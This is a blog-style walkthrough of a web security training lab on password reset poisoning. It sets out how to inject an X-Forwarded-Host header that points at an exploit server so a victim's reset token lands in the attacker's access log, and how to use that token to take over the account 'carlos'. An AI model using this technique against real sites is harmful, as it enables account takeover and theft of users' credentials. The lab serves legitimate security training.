Lab: Password reset poisoning via middleware

Cybersecurity professional sharing insights on securing ecosystems, exploring cloud tech, and simplifying concepts for pros, enthusiasts, and beginners alike.
Lab Scenario: Our mission is to investigate and exploit the password reset functionality of a simulated web application, demonstrating the risks associated with insecure implementations. Let's navigate through the solution using Burp Suite:
Exploring Password Reset Functionality:
With Burp running, investigate the password reset functionality.
Observe that a unique reset token is sent via email as part of the reset link.
Inspecting the Reset Request:
Send the
POST /forgot-passwordrequest to Burp Repeater.Notice the support for the
X-Forwarded-Hostheader, enabling manipulation of the dynamically generated reset link.
Setting Up the Exploit Server:
- Go to the exploit server and make a note of your exploit server URL.
Manipulating the Reset Link:
Go back to the request in Burp Repeater and add the
X-Forwarded-Hostheader with your exploit server URL:makefileCopy codeX-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.netChange the
usernameparameter to "carlos" and send the request.
Capturing the Reset Token:
- Go to the exploit server and open the access log. Identify the
GET /forgot-passwordrequest containing the victim's token as a query parameter. Make a note of this token.
- Go to the exploit server and open the access log. Identify the
Exploiting the Password Reset Link:
Go back to your email client and copy the valid password reset link (not the one pointing to the exploit server).
Paste this link into the browser and change the value of the
temp-forgot-password-tokenparameter to the stolen victim's token.Load this URL and set a new password for Carlos's account.
Solving the Lab:
- Log in to Carlos's account using the new password to successfully solve the lab.

Conclusion: This hands-on lab provides practical insights into the potential vulnerabilities associated with password reset functionalities. By following this step-by-step guide, users can enhance their understanding of secure password reset implementations and contribute to a safer online environment. Stay informed, keep learning, and continue exploring the dynamic field of cybersecurity to fortify the defenses of digital systems.
Reference:






